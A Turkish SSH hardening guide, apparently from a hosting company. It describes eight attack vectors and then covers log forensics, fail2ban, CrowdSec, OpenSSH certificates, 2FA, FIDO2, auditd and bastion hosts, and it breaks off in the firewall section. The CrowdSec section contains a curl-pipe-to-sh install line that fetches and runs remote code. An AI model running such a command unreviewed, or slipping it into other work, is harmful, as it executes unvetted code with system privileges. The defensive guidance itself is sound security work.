SSH Güvenliği: Saldırı Yüzeyi, SSH Sertifikaları, 2FA ve FIDO2 ile Sertleştirme

SSH Güvenliği: Saldırı Yüzeyi, SSH Sertifikaları, 2FA ve FIDO2 ile Sertleştirme

VDS'inizin SSH portunu açtığınız ilk saniyeden itibaren, internetin her köşesinden gelen otomatik tarayıcılar kapınızı çalmaya başlar. Honeypot araştırmalarına göre 2026'da public IP üzerinde açık SSH (port 22), günde ortalama 100.000+ brute force denemesi alır; bu sayı popüler hosting ASN'lerinde günde milyona kadar çıkar. "Benim sunucumu kim bulur ki" düşüncesi, Shodan ve Censys gibi internet-wide tarayıcıların 24 saat içinde her açık portu indekslediği bir dünyada saf bir varsayımdır.

Bu rehber, klasik "anahtar oluştur, parolayı kapat, fail2ban kur" listesini tekrarlamak yerine, SSH saldırı yüzeyini saldırgan gözüyle analiz eder, brute force forensics yapar, ardından modern savunma araçlarına geçer: OpenSSH sertifikası tabanlı kimlik (CA imzalı user/host cert), PAM + TOTP/YubiKey 2FA, FIDO2 ed25519-sk donanım anahtarı tabanlı SSH, auditd komut seviyesi log + SIEM entegrasyonu ve bastion (jump host) pattern.

Anahtar tabanlı kimlik doğrulama ve temel sshd_config sertleştirme için SSH key auth rehberini ve Linux SSH güvenliği rehberini; SSH portu değiştirme, knockd, fwknop, ProxyJump ve bastion mimarisi için SSH port değiştirme rehberini inceleyebilirsiniz. Bu yazı bunların üstüne, kurumsal seviyede SSH anlayışı koyar.

Buyukweb perspektifi: VDS paketlerimiz unmanaged teslim edilir; SSH güvenliği tamamen sizin yetki alanınızdadır. Her VDS'te KVM web konsol erişimi kritik güvence: sshd ayarlarında hata yaparsanız ya da 2FA/FIDO2 token kaybolursa, konsol üzerinden /etc/ssh/sshd_config düzenleyip kurtarabilirsiniz. Bursa Tier 3 veri merkezimizde L3+L4 DDoS koruması dahildir; uygulama katmanı (SSH brute force, credential stuffing, key sızdırma) savunması sizin pratik tedbirlerinize bağlıdır. Sertifika tabanlı SSH kurulumu, kurumsal jump host mimarisi veya 2FA entegrasyon danışmanlığı için 0850 302 60 70 numaralı destek hattımıza ulaşabilirsiniz.

SSH Saldırı Yüzeyi — Saldırgan Gözüyle 8 Vektör

Defansif düşünebilmek için saldırgan modelini bilmek gerek. Bir SSH servisine yönelik saldırılar şu sekiz ana vektöre ayrılır:

1. Brute Force (Parola Tahmin)

Otomatik botlar root:123456, admin:password, ubuntu:ubuntu gibi sözlük tabanlı kombinasyonları saniyede 5-50 hızla dener. Default port (22) üzerinde açık bir SSH, modern bir VDS'te günde 30.000-150.000 başarısız deneme alır. Default user listesi: root, admin, ubuntu, debian, centos, oracle, postgres, mysql, ftpuser, test, user, guest.

2. Credential Stuffing (Sızdırılmış Parola Saldırısı)

Diğer servislerden sızdırılan email/parola kombinasyonları SSH'a denenir. "haveibeenpwned" gibi data breach listelerinden milyonlarca kombinasyon hazır. Aynı parolayı GitHub, e-posta ve SSH'ta kullanan bir admin'in başına gelen klasik senaryo.

3. Username Enumeration

Eski OpenSSH versiyonları (< 7.7, CVE-2018-15473) geçerli ve geçersiz kullanıcı isimleri arasında yanıt zamanlama farkı yaratırdı; saldırgan timing attack ile var olan kullanıcıları listeleyip sadece onlara brute force yapardı. Modern OpenSSH'ta düzeltildi ama legacy sistemlerde hâlâ açık.

4. Banner Grabbing → CVE Araması

SSH'a bağlandığınızda server banner verir: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.1. Saldırgan bu versiyondan CVE veritabanı sorgu eder: ilgili sürümde bilinen güvenlik açığı varsa exploit dener. OpenSSH 8.5 öncesi scp zafiyeti, OpenSSH 9.3 öncesi GSSAPI bug gibi.

5. Port Scanning + Targeted Attack (Shodan / Censys)

Eskiden saldırganların port tarama için nmap ile haftalarca tarama yapması gerekirdi. Bugün Shodan ve Censys tüm internet'i sürekli tarayıp indeksler. port:22 country:TR aramasıyla Türkiye'deki on binlerce SSH sunucusu bir tıklamada listelenir. Custom port (>1024) seçmek Shodan filtre tabanlı taramaları %95 azaltır ama port:* product:OpenSSH filtresinden hâlâ bulunur.

6. Man-in-the-Middle (MITM)

Sunucuya ilk kez bağlandığınızda OpenSSH The authenticity of host can't be established uyarısı verir; siz yes deyince host key ~/.ssh/known_hosts dosyasına yazılır. Bu Trust On First Use (TOFU) modeli, ilk bağlantıda saldırganın araya girmesini engellemez. ARP spoofing, BGP hijacking veya WiFi MITM senaryolarında ilk bağlantı saldırganın sunucusuna olabilir; saldırgan kendi host key'ini yayar, sonra sizin parolanızı/anahtarınızı yakalar.

7. Insider Threat (Eski Çalışan / Kalan Key)

Üç yıl önce ayrılan sistem yöneticisinin SSH public key'i hâlâ /root/.ssh/authorized_keys dosyasında durur. ls -la /home/*/.ssh/authorized_keys ile audit yapmayan şirketin gizli açığı. Insider threat istatistiklerine göre veri sızıntılarının önemli bir kısmı eski çalışan erişimi nedenli.

8. Stolen Keys (Laptop Kayıp, Passphrase Yok)

Geliştirici laptop'ı kaybolur; ~/.ssh/id_ed25519 private key dosyası passphrase'siz kaydedilmişse, bulan kişi tüm sunucularınıza tek komutla girebilir. Apple AirTag, kafedeki düşürülen çanta, postalama sırasında çalınan laptop — gerçek senaryolar.

Çıkarım: Tek katmanlı savunma (sadece anahtar tabanlı kimlik) yetersiz. Defense-in-depth gerekir: anahtar + passphrase + sertifika rotation + 2FA + custom port + fail2ban + bastion + audit.

2026'da SSH Saldırı İstatistikleri

Honeypot araştırmaları ve operasyonel veriler, bugünün saldırı manzarasını şöyle özetler:

• Açık port 22, public IP: Günde 100.000+ brute force denemesi (popüler hosting ASN'lerinde 1 milyon+)
• Custom port (örn. 49222): Günde 500-5.000 deneme (Shodan filtre azaltır, ama hâlçal tarama var)
• Default user listesi: root, admin, ubuntu, oracle, postgres, debian toplam denemelerin %70+'ını oluşturur
• Saldırgan kaynak ülke (top 5): dağılım coğrafyaya göre değişir; honeypot çalışmalarında genel eğilim Çin, Rusya, ABD (kompromize sunucular dahil), Hindistan, Brezilya
• Saldırı zaman dilimi: 24 saat homojen; gece ile gündüz arası fark az (botnet otomasyonu)
• Saldırgan amacı: %60 botnet'e ekleme (Mirai, Mozi türevleri), %25 kripto madenci yükleme, %10 ransomware staging, %5 hedefli istihbarat

Bu rakamlar iç ağ (private network) SSH için geçerli değil; sadece public IP üzerinden expose edilen sshd'ye yöneliktir. VPN-only SSH (WireGuard tüneli + sshd bind sadece WG interface'e) bu trafiğin tamamını sıfıra indirir.

Brute Force Forensics — Log Analizi

Saldırıya uğradığınızı bilmek ilk adım. Linux'ta SSH logları iki ana yerdedir:

• Ubuntu / Debian: /var/log/auth.log
• RHEL / Rocky / AlmaLinux / CentOS: /var/log/secure
• Modern systemd: journalctl -u sshd -f

Başarısız Giriş Saymak

# Toplam başarısız parola denemesi
grep "Failed password" /var/log/auth.log | wc -l

# Top 10 saldırgan IP
grep "Failed password" /var/log/auth.log \
  | awk '{print \$11}' \
  | sort | uniq -c | sort -rn | head -10

# Top 10 denenmiş kullanıcı adı
grep "Failed password" /var/log/auth.log \
  | awk '{print \$9}' \
  | sort | uniq -c | sort -rn | head -10

# "Invalid user" — yani var olmayan kullanıcı denemeleri
grep "Invalid user" /var/log/auth.log \
  | awk '{print \$8}' \
  | sort | uniq -c | sort -rn | head -20

awk '{print \$11}' ifadesindeki sütun numarası dağıtım/log formatına göre değişebilir; sütunu doğrulamak için tek satırı önce cat ile bakın.

Başarılı Giriş Audit

# Son başarılı SSH girişleri
grep "Accepted" /var/log/auth.log | tail -20

# Hangi key kullanılarak giriş yapılmış (publickey method)
grep "Accepted publickey" /var/log/auth.log

# Son 24 saatte kim giriş yapmış (last komutu utmp/wtmp okur)
last -F | head -20

# Failed login attempts
lastb -F | head -20

GeoIP ile Saldırgan Coğrafyası

# MaxMind GeoLite2 ücretsiz veri tabanı (kayıt gerektirir)
apt install geoip-bin geoip-database

grep "Failed password" /var/log/auth.log \
  | awk '{print \$11}' \
  | sort -u \
  | while read ip; do
      geoiplookup \$ip
    done | sort | uniq -c | sort -rn | head

Eğer Çin/Rusya/Brezilya'dan tek tek IP'ler değil ama AS bazlı geniş bloklarsa, fail2ban'ın geçici banlarından öteye geçip ASN seviyesinde firewall kuralı düşünmelisiniz.

journalctl ile Canlı İzleme

# SSH servisine ait canlı log
journalctl -u sshd -f

# Son 1 saat
journalctl -u sshd --since "1 hour ago"

# Belli IP'ye ait olaylar
journalctl -u sshd | grep "192.0.2.45"

# JSON formatında (SIEM'e gönderim için)
journalctl -u sshd --output=json --since "1 hour ago"

IDS/IPS Entegrasyonu — Otomatik Bloklama

Manuel log okumak küçük ölçekte yeterlidir; ama 7/24 koruma için otomatik blokçu gerek. Üç farklı yaklaşım:

1. fail2ban — Klasik, En Yaygın

Linux dünyasının de-facto SSH brute force koruyucusu. Log dosyasını izler, eşik aşıldığında IP'yi iptables/nftables ile bloklar. Detay kurulum SSH key auth rehberinde ve Linux SSH güvenliği rehberinde işlendi; burada sadece kavramsal yer veriyoruz:

# Ubuntu / Debian
apt install fail2ban

# /etc/fail2ban/jail.local içinde örnek
[sshd]
enabled = true
port    = ssh
filter  = sshd
logpath = /var/log/auth.log
maxretry = 3
findtime = 600
bantime  = 86400

Avantaj: kurulum 5 dakika, dokümantasyon zengin, milyonlarca sistem üzerinde test edilmiş. Dezavantaj: lokal karar verir — başka sunucularda bloklanan IP, sizin sunucunuzda hâlâ deneme yapabilir.

2. CrowdSec — Modern, Crowdsourced

Daha modern bir yaklaşım: lokal davranış analizi + küresel blocklist paylaşımı. Bir CrowdSec node'u IP'yi tehdit olarak işaretlerse, diğer node'lar bu IP'yi proaktif olarak bloklar.

# Resmi repodan kurulum (sürekli güncellenen URL için resmi dokümana bakın)
curl -s https://install.crowdsec.net | sh
apt install crowdsec

# SSH senaryosunu aktif et
cscli scenarios install crowdsecurity/ssh-bf

# Bouncer (gerçek bloklayıcı) — iptables/nftables tarafı
apt install crowdsec-firewall-bouncer-iptables

# Mevcut tehdit listesi
cscli decisions list

# Lokal kararı manuel ekleme
cscli decisions add --ip 198.51.100.42 --duration 4h --reason "manual"

Avantaj: küresel tehdit istihbaratı, modern Go tabanlı performans, multi-service (SSH, web, mail) destekli. Dezavantaj: fail2ban kadar yaygın değil, dokümana hâkim olmak biraz zaman ister.

3. sshguard — Hafif Alternatif

fail2ban'ın hafif sürümü; sadece SSH için optimize. Memory düşük gömülü sistemlerde tercih edilir. Modern KOBİ VDS'te fail2ban ya da CrowdSec daha akılcı.

4. SIEM Seviyesi (Wazuh / Graylog / ELK) — Kavramsal

Birden fazla sunucu yöneten kurumlar için, log'ların merkezi bir SIEM'e akıtılması gerekir:

• Wazuh — açık kaynak EDR/SIEM; agent her sunucuya kurulur, manager'a log gönderir; SSH brute force tespiti out-of-the-box
• Graylog — log toplama + arama; syslog/journald üzerinden SSH log akıtılır
• ELK Stack (Elasticsearch + Logstash + Kibana) — endüstri standardı, kurulum daha karmaşık

SIEM'in faydası: bir sunucudaki saldırı diğer sunucularda da görünür, organize edilmiş kampanyaları tespit edersiniz, audit kayıtları compliance (KVKK, ISO 27001, PCI-DSS) için merkezi durur.

SSH Host Key Trust Modeli — TOFU ve MITM Tehdidi

İlk bağlantıda OpenSSH şu mesajı verir:

The authenticity of host 'sunucu.sirket.com.tr (195.85.100.52)' can't be established.
ED25519 key fingerprint is SHA256:abcdef1234567890...
Are you sure you want to continue connecting (yes/no)?

Siz yes derseniz, fingerprint ~/.ssh/known_hosts dosyasına yazılır. Sonraki bağlantılarda fingerprint eşleşmezse OpenSSH uyarır:

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!

Bu mesajı görürseniz derhal durun. İhtimaller:

1. Sunucuyu yeniden kurdunuz ve OS yeni host key üretti → eski satırı ssh-keygen -R sunucu.sirket.com.tr ile silin
2. MITM saldırısı — birisi araya girdi, host key'i kendisininkiyle değiştirdi
3. IP yeniden atanma — VDS IP'si başka müşteriye verildi (Buyukweb'de IP atama disiplinli, ama teorik mümkün)

Pre-population — Önceden known_hosts'a Ekleme

Yeni bir sunucu kurduğunuzda, KVM konsoldan host key fingerprint'i çekip kendi laptop'unuza önceden kaydedebilirsiniz:

# Sunucuda (KVM konsoldan):
ssh-keygen -lf /etc/ssh/ssh_host_ed25519_key.pub

# Çıktı: 256 SHA256:abcdef... root@sunucu (ED25519)

# Laptop'ta (güvenli olarak almak için):
ssh-keyscan -t ed25519 sunucu.sirket.com.tr >> ~/.ssh/known_hosts

# Fingerprint'i mutlaka KVM konsoldakiyle karşılaştırın!

SSHFP DNS Kaydı (Modern Yaklaşım)

DNSSEC destekli bir domain için, SSH host key fingerprint'lerini DNS'e SSHFP kaydı olarak koyabilirsiniz; OpenSSH VerifyHostKeyDNS yes ile bu kayıtları doğrular ve TOFU adımını atlar.

# SSHFP üretim
ssh-keygen -r sunucu.sirket.com.tr -f /etc/ssh/ssh_host_ed25519_key.pub

# DNS'e ekleyin (DNSSEC açık olmalı):
sunucu.sirket.com.tr.   IN SSHFP 4 2 abc123...

DNSSEC için DNSSEC rehberini inceleyebilirsiniz.

SSH Sertifikaları (OpenSSH CA) — Enterprise Modern Yaklaşım

Geleneksel SSH key auth'ta her sunucuda her kullanıcı için ayrı ~/.ssh/authorized_keys dosyası tutulur. 5 sunucu ve 10 admin için bu yönetilebilir; ama 50 sunucu + 30 admin ölçeğinde patlar:

• Yeni admin geldiğinde 50 sunucuya key ekle
• Admin ayrıldığında 50 sunucudan key sil (kaçırılırsa = insider threat)
• Anahtar rotation? 50 sunucu × 30 admin = 1.500 dosya güncelle

OpenSSH sertifika tabanlı kimlik bu yönetim cehennemini ortadan kaldırır. Mantık:

1. Bir kez CA (Certificate Authority) anahtarı üretirsiniz (offline, çok güvenli yerde)
2. Sunucular CA'nın public key'ine güvenir (TrustedUserCAKeys direktifi)
3. Kullanıcılar CA tarafından imzalanmış kısa ömürlü sertifika alır (örn. 24 saat geçerli)
4. Kullanıcı sertifikası içinde principals (hangi kullanıcı adına geçerli) ve valid before (son geçerlilik) yazılır

Avantajlar:

• Tek noktadan yetki: CA'yı revoke edersen tüm sunuculardaki erişim biter
• Zaman sınırlı: 24 saatlik cert; çalınsa bile bir sonraki gün geçersiz
• Scope sınırlı: -n alice,bob sadece bu kullanıcı için geçerli
• Rotation kolay: yeni anahtar üret, yeniden imzala, eskisi otomatik expire olur
• Audit log: hangi cert kimi imzaladı, ne zaman, neden

Kurulum — User Certificate

# 1) CA anahtarı oluştur (offline, güvenli laptop'ta veya HSM içinde)
ssh-keygen -t ed25519 -f /root/ca/ca_user -C "Sirket SSH User CA"

# /root/ca/ca_user      → private CA key (asla sunucuya kopyalanmaz)
# /root/ca/ca_user.pub  → public CA key (sunuculara dağıtılır)

# 2) Sunucularda — CA'nın public key'ini /etc/ssh/ altına kopyala
scp /root/ca/ca_user.pub root@sunucu:/etc/ssh/ca_user.pub

# 3) Sunuculara sshd_config'e ekle
echo "TrustedUserCAKeys /etc/ssh/ca_user.pub" >> /etc/ssh/sshd_config
systemctl restart sshd

# 4) Kullanıcı public key'ini CA ile imzala
ssh-keygen -s /root/ca/ca_user \
  -I "user_alice_2026_05_11" \
  -n alice,deploy \
  -V +1d \
  alice_id_ed25519.pub

# Çıktı: alice_id_ed25519-cert.pub (sertifika dosyası)

# 5) Alice laptop'unda — sertifikayı public key ile aynı dizine koy
# ~/.ssh/id_ed25519       → private key
# ~/.ssh/id_ed25519.pub   → public key
# ~/.ssh/id_ed25519-cert.pub → CA imzalı sertifika

# OpenSSH otomatik olarak cert'i kullanır
ssh [email protected]

Host Certificate — MITM'i Kapatır

Aynı CA mantığı sunucular için de işler: sunucuların kendi host key'i CA tarafından imzalanır, istemciler CA'ya güvenir, böylece TOFU/MITM senaryosu tamamen ortadan kalkar.

# 1) Host CA anahtarı (user CA'dan ayrı tutmak iyi pratik)
ssh-keygen -t ed25519 -f /root/ca/ca_host -C "Sirket SSH Host CA"

# 2) Sunucunun host public key'ini imzala
ssh-keygen -s /root/ca/ca_host \
  -I "host_sunucu1_2026" \
  -h \
  -n "sunucu1.sirket.com.tr,sunucu1.internal" \
  -V +52w \
  /etc/ssh/ssh_host_ed25519_key.pub

# Çıktı: /etc/ssh/ssh_host_ed25519_key-cert.pub

# 3) sshd_config'e ekle:
echo "HostCertificate /etc/ssh/ssh_host_ed25519_key-cert.pub" >> /etc/ssh/sshd_config
systemctl restart sshd

# 4) İstemci ~/.ssh/known_hosts'a CA satırı:
@cert-authority *.sirket.com.tr ssh-ed25519 AAAA...

Revocation — Sertifika İptal

Bir kullanıcı veya host'un sertifikası iptal edilmek istenirse, KRL (Key Revocation List) kullanılır:

# KRL üret
ssh-keygen -k -f /etc/ssh/ssh_revoked -s /root/ca/ca_user.pub revoked_keys.txt

# sshd_config:
RevokedKeys /etc/ssh/ssh_revoked

Otomasyon — Açık Kaynak SSH CA Servisleri (Kavramsal)

Kurumsal ortamda CA imzalama elle yapılmaz; bir otomasyon servisi gerekir. Açık kaynak ve self-host seçenekler:

• Open source PKI çözümleri — küçük ölçek için Ansible/Salt ile imza otomasyonu, orta ölçekte Smallstep CA (open source CA toolkit) veya benzeri self-host PKI araçları
• Kurumsal secret management — geniş şirketlerde merkezi secret yönetim sistemleri SSH backend modüllerine sahiptir (kavramsal düzeyde "secret manager + SSH CA backend" entegrasyonları)

Buyukweb VDS müşterilerimizin küçük ekiplerde sade Ansible script ile manuel CA imza akışı kuruyor; daha büyük müşterilerimizde Smallstep gibi open source PKI'ler self-host VDS'te çalışır.

2FA (Çok Faktörlü Kimlik Doğrulama) — Anahtarın Üstüne İkinci Katman

SSH key auth çok güvenli; ama key dosyası çalınırsa, passphrase'siz ise, ya da ssh-agent kompromize bir host üzerinde forward edilmişse erişim açık. İkinci faktör (telefonunuzdaki TOTP, donanım anahtarı YubiKey, veya FIDO2 token) bu senaryoyu engeller.

PAM + Google Authenticator (TOTP, RFC 6238)

PAM (Pluggable Authentication Modules) Linux'ta kimlik doğrulama katmanını modüler hale getirir. Google Authenticator PAM modülü, TOTP (Time-based One-Time Password) standart algoritmasını sshd'ye ekler.

# 1) PAM modülü kurulum
apt install libpam-google-authenticator

# 2) Kullanıcı bazlı setup — her admin kendi hesabıyla çalıştırır
su - alice
google-authenticator

# Sorular:
# - Time-based tokens? y
# - Update file? y
# - Disallow multiple uses? y
# - Window of approval? 17 (default)
# - Rate limit? y (3 attempts per 30s)

# Setup sırasında QR kod gösterilir; mobil authenticator app (open source seçenekler:
# Aegis Authenticator, andOTP, FreeOTP+) ile QR'ı okutursunuz.
# Aynı zamanda 5 emergency scratch kodu verir — güvenli yere kaydedin.

# 3) PAM yapılandırma — /etc/pam.d/sshd dosyasına satır ekle
@include common-auth
auth required pam_google_authenticator.so

# 4) sshd_config'e ekle:
ChallengeResponseAuthentication yes
KbdInteractiveAuthentication yes
UsePAM yes
AuthenticationMethods publickey,keyboard-interactive

systemctl restart sshd

Test: Yeni terminal aç, ssh alice@sunucu — önce public key doğrulanır, sonra "Verification code:" sorulur, mobil app'teki 6 haneli kodu girersiniz.

YubiKey (Challenge-Response, USB Donanım)

YubiKey 5 serisi, USB takılı bir donanım anahtarıdır. Birkaç kullanım modu vardır:

• OTP slot — 44 karakterlik tek kullanımlık parola (klavyeden basar)
• HOTP / TOTP slot — TOTP standartlı 6 haneli kod
• PIV / smart card — sertifika tabanlı (PKCS#11)
• FIDO2 / WebAuthn — modern standart (SSH 8.2+ destekler)
• OpenPGP card — GPG anahtarı saklama

PAM ile YubiKey OTP entegrasyonu için libpam-yubico paketi kullanılır:

apt install libpam-yubico

# YubiCloud doğrulama veya self-host validation server
# /etc/pam.d/sshd:
auth required pam_yubico.so id=12345 authfile=/etc/yubikey_mappings

# /etc/yubikey_mappings:
alice:cccccccdefgh:cccccccijklm

# sshd_config:
AuthenticationMethods publickey,keyboard-interactive

Kurumsal 2FA Hizmetleri (Kavramsal)

Büyük şirketler kullanıcı self-service, audit log, role-based policy gibi gelişmiş özellikler için kurumsal 2FA hizmetlerini tercih eder. Bu servisler PAM modülü sağlayarak sshd'ye entegre olur, çağrı tabanlı (push notification) onay verir. Açık kaynak alternatifi olarak privacyIDEA ve Multi-OTP vardır; her ikisi de self-host edilebilir ve VDS üzerinde çalışır.

FIDO2 / WebAuthn SSH (OpenSSH 8.2+) — Modern Donanım Anahtarı

OpenSSH 8.2 (Şubat 2020) ile FIDO2 / U2F donanım anahtarı (YubiKey 5, SoloKey, Nitrokey, Google Titan) doğrudan SSH key türü olarak destekleniyor. Bu 2FA'dan farklı: anahtarın kendisi donanımdadır, parola olarak çalışmaz; donanım fiziksel olarak yoksa SSH bağlantısı kurulamaz.

İki key türü:

• ecdsa-sk — ECDSA + Security Key (FIDO2 backed, neredeyse tüm modern FIDO2 anahtarları destekler)
• ed25519-sk — Ed25519 + Security Key (yeni standart; YubiKey 5.2.3+, SoloKey 2.5.0+ destekler)

Setup

# 1) FIDO2 anahtarı USB'ye tak (cihaz LED yanmalı)

# 2) Anahtar çifti oluştur
ssh-keygen -t ed25519-sk -O resident -O verify-required -C "alice-yubikey5"

# Parametreler:
# -t ed25519-sk           → Ed25519 + Security Key
# -O resident             → Anahtar YubiKey içinde saklı (taşınabilir, başka makineden de işe yarar)
# -O verify-required      → Her kullanımda PIN veya touch zorunlu

# Cihaz LED yanıp söner, dokunarak onaylarsın
# Dosyalar:
#   ~/.ssh/id_ed25519_sk        → private key handle (yarı boş; gerçek anahtar YubiKey içinde)
#   ~/.ssh/id_ed25519_sk.pub    → public key (sunucuya konacak)

# 3) Sunucuya kopya
ssh-copy-id -i ~/.ssh/id_ed25519_sk.pub [email protected]

# 4) sshd_config en güncel OpenSSH'e ihtiyaç duyabilir:
#    PubkeyAcceptedAlgorithms öğesinde [email protected] aktif olmalı

# 5) Bağlantı
ssh [email protected]
# YubiKey LED yanıp söner, dokunduğunda bağlantı kurulur

Resident Key (Taşınabilir FIDO2)

-O resident ile anahtar YubiKey içinde saklanır. Başka bir laptop'a geldiğinizde:

# YubiKey'den anahtar handle'ını çek
ssh-keygen -K

# ~/.ssh/id_ed25519_sk_rk_<keyhandle> dosyaları oluşur
# Sonrası standart ssh-add
ssh-add ~/.ssh/id_ed25519_sk_rk_<keyhandle>

Bir gezici geliştirici için resident FIDO2 key mükemmel: laptop kaybolsa bile içinde özel anahtar olmadığı için saldırgan giriş yapamaz; YubiKey kaybolursa PIN korumalı (3 yanlış denemede sıfırlama).

FIDO2 + PIN

Daha üst güvenlik için -O verify-required ekledik; bu, her kullanımda PIN veya touch ister. YubiKey 5'te PIN ayarlanmamışsa kullanım anında ayarlayabilirsiniz. PIN 3 yanlış denemede cihaz sıfırlanır — fiziksel donanım brute force korumalı.

Audit Logging — Komut Seviyesi İzleme

SSH bağlantısının kurulduğunu loglamak yetmez; bağlandıktan sonra ne yaptığını da kaydetmek lazım. Compliance (KVKK, ISO 27001, PCI-DSS) açısından bu zorunlu.

auditd — Linux Kernel Audit Subsystem

# Ubuntu / Debian
apt install auditd audispd-plugins

# RHEL / Rocky
dnf install audit

# Aktif et
systemctl enable --now auditd

# Önemli komutları loglama (örnek kural)
auditctl -w /etc/ssh/sshd_config -p wa -k sshd_config_change
auditctl -w /root/.ssh/authorized_keys -p wa -k root_key_change
auditctl -w /etc/passwd -p wa -k passwd_change
auditctl -a always,exit -F arch=b64 -S execve -F euid=0 -k root_command

# Kural dosyası (kalıcı):
/etc/audit/rules.d/sshd.rules

Bunlar Linux SSH güvenliği rehberinde daha detaylı işlendi; burada SIEM perspektifinden kavramsal yer veriyoruz.

PAM TTY Audit — Her Tuş Vuruşu (Aşırı Hassas Sistemler)

pam_tty_audit modülü kullanıcının terminalde yazdığı her tuş kaydeder. Çok hassas (finans, askeri) sistemlerde:

# /etc/pam.d/sshd
session required pam_tty_audit.so enable=alice,bob log_passwd

Bu özellik çalışan mahremiyeti açısından çok hassastır; KVKK ve iş hukuku perspektifinden danışmanlık almadan açmayın.

Session Recording — script veya Bastion Pattern

Daha makul orta yol: SSH oturumunu script komutuyla kaydetmek. /etc/profile veya ~/.bashrc içine:

# Otomatik session kaydı
if [ "\$SSH_CONNECTION" ] && [ -z "\$SCRIPT_PID" ]; then
  export SCRIPT_PID=\$\$
  exec script -a -q -f /var/log/ssh-session/\$USER-\$(date +%Y%m%d-%H%M%S).log
fi

Daha temiz çözüm: bastion host üzerinde session recording, hedef sunucularda hiç kayıt almaz (bkz. Bastion bölümü).

SIEM Entegrasyonu — Merkezi Log

Birden fazla sunucu yöneten kurumlar için, auditd log'u + sshd log'u merkezi bir SIEM'e akıtılır:

• Wazuh agent → her sunucuda, merkezi Wazuh manager'a JSON gönderir
• rsyslog forward → *.* @@siem-server:514 ile syslog UDP/TCP forward
• filebeat → Elasticsearch → log dosyalarını ELK'a akıtır

SIEM kurulumu kapsamlı bir konu olduğu için bu rehber kapsamı dışındadır; ama mimari kararı şudur: 3+ sunucu = SIEM mantıklı, 10+ sunucu = SIEM zorunlu.

Bastion / Jump Host Pattern

Onlarca sunucusu olan kurumlar her sunucuyu public IP ile SSH'a açmaz. Tek bir bastion host (jump host) public-facing, iç sunucular özel ağ. Detay SSH port değiştirme rehberinde anlatıldı; burada kısa özet:

[İnternet] → [Bastion (port 22, fail2ban, 2FA, audit)] → [İç Sunucular (private network)]

ProxyJump (-J)

# Klasik:
ssh -J bastion.sirket.com.tr [email protected]

# ~/.ssh/config:
Host *.internal
  ProxyJump bastion.sirket.com.tr
  User alice

Host bastion.sirket.com.tr
  Port 22
  User alice
  IdentityFile ~/.ssh/id_ed25519

ProxyJump, anahtarlama yapmadan iç sunuculara şeffaf erişim sağlar. Bastion'da SSH session recording aktif olursa, tüm kurumsal SSH trafiği tek noktada loglanır — audit ve compliance açısından muhteşem.

ssh-agent Forwarding RİSKİ

ForwardAgent yes veya -A flag, lokal makinedeki ssh-agent'ı uzak sunucuya forward eder. Avantaj: bastion'dan iç sunucuya geçerken parola sorulmaz; dezavantaj: bastion ele geçirilirse, saldırgan agent socket'i üzerinden tüm key'lerinize erişir.

Modern öneri: ForwardAgent yerine ProxyJump kullanın; ProxyJump SSH bağlantısını tünelleyerek bastion'da key forward etmez.

Bastion'da Hardening Çift Katmanlı

Bastion iç sunuculara açılan tek kapı olduğu için, kendisi normal sunuculardan çok daha sıkı olmalı:

• Sadece SSH port (22 veya custom) açık, başka servis yok
• 2FA / FIDO2 zorunlu
• fail2ban + CrowdSec aktif
• auditd + session recording aktif
• Disk encryption + LUKS
• IDS (Wazuh) agent
• Aylık penetration test

ssh-agent ve Encrypted Key — Passphrase Pratik Kullanımı

Anahtar tabanlı kimlikte passphrase olmazsa olmaz; ama her seferinde girmek can sıkıcı. ssh-agent bu sorunu çözer:

# Linux
eval \$(ssh-agent -s)
ssh-add ~/.ssh/id_ed25519
# Passphrase bir kez sorulur, agent oturum boyunca hatırlar

# macOS — Keychain entegre
ssh-add --apple-use-keychain ~/.ssh/id_ed25519
# Passphrase Keychain'e kaydedilir, sonraki oturumlarda otomatik

# Windows — OpenSSH Agent service
Set-Service ssh-agent -StartupType Automatic
Start-Service ssh-agent
ssh-add C:\Users\Alice\.ssh\id_ed25519

AddKeysToAgent yes — Otomatik Ekleme

~/.ssh/config içinde:

Host *
  AddKeysToAgent yes
  IdentityFile ~/.ssh/id_ed25519

İlk ssh komutunda passphrase sorulur, sonra otomatik agent'a eklenir.

Confirm Required (Ek Güvenlik)

ssh-add -c ~/.ssh/id_ed25519

-c flag ile, her key kullanımında pencere açar ve onay ister. Geliştiriciler için fazla; ama kritik sunucular için iyi.

HSM ve Donanım Tabanlı Anahtar Saklama

Yazılım dosyasında saklanan private key, dosya kopyalanırsa ele geçer. Donanım anahtarı (HSM, Hardware Security Module) bu sorunu kökten çözer: anahtar HSM içinde üretilir, HSM'den dışarı çıkmaz.

Seçenekler

• YubiKey 5 PIV — PKCS#11 üzerinden OpenSSH ile, hardware private key (~₺1.500-2.000)
• YubiKey FIDO2 — yukarıda anlatılan ed25519-sk yaklaşımı
• Nitrokey 3 — açık donanım, AB üretimi (~₺1.500-2.000)
• SmartCard PIV — kurumsal smartcard altyapısı olan şirketler için
• TPM 2.0 — modern laptop'larda gömülü TPM modülü; SSH key TPM içinde saklanır (Linux'ta tpm2-tools, ssh-tpm-agent)

PKCS#11 ile OpenSSH

# YubiKey PIV slot 9a'da key üret (kavramsal)
yubico-piv-tool -s 9a -a generate -A ECCP256 -o pub.pem

# OpenSSH'a PKCS#11 modülü tanıt
ssh -I /usr/lib/x86_64-linux-gnu/libykcs11.so alice@sunucu

# ~/.ssh/config:
Host *
  PKCS11Provider /usr/lib/x86_64-linux-gnu/libykcs11.so

Network Seviyesi Koruma — Üst Katmanda Filtre

SSH sunucusundan önce network seviyesinde trafik filtrelemek, defense-in-depth katmanlarından biri:

Custom Port

/etc/ssh/sshd_config'te Port 49222 gibi non-default port. Shodan filtre bazlı tarama %95 azalır; ama hâlâ port:* product:OpenSSH filtresinden bulunur. Detay SSH port değiştirme rehberinde.

Firewall Whitelist (IP Kısıtlama)

UFW (Ubuntu) veya firewalld (RHEL) ile sadece bilinen IP'lerden SSH'a izin:

# UFW
ufw default deny incoming
ufw allow from 203.0.113.45 to any port 22
ufw enable

# firewalld
